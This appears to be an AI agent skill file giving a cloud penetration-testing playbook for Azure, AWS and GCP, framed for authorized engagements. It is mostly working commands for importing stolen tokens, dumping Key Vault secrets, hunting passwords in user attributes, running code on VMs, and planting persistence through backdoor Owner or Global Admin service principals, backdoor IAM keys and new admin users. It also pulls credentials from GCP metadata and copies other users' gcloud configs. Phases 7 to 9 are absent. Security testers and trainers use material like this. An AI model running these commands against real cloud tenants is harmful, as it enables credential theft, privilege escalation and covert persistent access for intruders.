This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
Cloud Security Assessment Report - Comprehensive findings and risk ratings
Resource Inventory - Enumerated services, storage, and compute instances
- Exposed secrets, keys, and misconfigurations
Credential Findings
Remediation Recommendations - Hardening guidance per platform
Core Workflow
Phase 1: Reconnaissance
Gather initial information about target cloud presence:
# Azure: Get federation info
curl "https://login.microsoftonline.com/[email protected]&xml=1"
# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany
# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py
Phase 2: Azure Authentication
Authenticate to Azure environments:
# Az PowerShell Module
Import-Module Az
Connect-AzAccount
# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential
# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'
# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json
# MSOnline Module
Import-Module MSOnline
Connect-MsolService
Phase 3: Azure Enumeration
Discover Azure resources and permissions:
# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription
# Current user role assignments
Get-AzRoleAssignment
# List resources
Get-AzResource
Get-AzResourceGroup
# Storage accounts
Get-AzStorageAccount
# Web applications
Get-AzWebApp
# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile
# List all users
Get-MSolUser -All
# List all groups
Get-MSolGroup -All
# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID
# Service Principals
Get-MsolServicePrincipal
Phase 4: Azure Exploitation
Exploit Azure misconfigurations:
# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
$props = @()
$user | Get-Member | foreach-object{$props+=$_.Name}
foreach($prop in $props){
if($user.$prop -like "*password*"){
Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
}
}
}
# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
# Extract VM UserData
$vms = Get-AzVM
$vms.UserData
# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>
Phase 5: Azure Persistence
Establish persistence in Azure:
# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
# Login as service principal
$cred = Get-Credential # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
Phase 6: AWS Authentication
Authenticate to AWS environments:
# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format
# Use specific profile
aws configure --profile target
# Test credentials
aws sts get-caller-identity
# List existing access keys
aws iam list-access-keys --user-name <username>
# Create backdoor access key
aws iam create-access-key --user-name <username>
# Get all EC2 public IPs
for region in $(cat regions.txt); do
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done
Phase 10: GCP Enumeration
Discover GCP resources:
# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list
# Account information
gcloud config list
gcloud organizations list
gcloud projects list
# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>
# Enabled services
gcloud services list
# Source code repos
gcloud source repos list
gcloud source repos clone <repo>
# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"
# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local
# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>
# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info
Phase 11: GCP Exploitation
Exploit GCP misconfigurations:
# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100
# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list
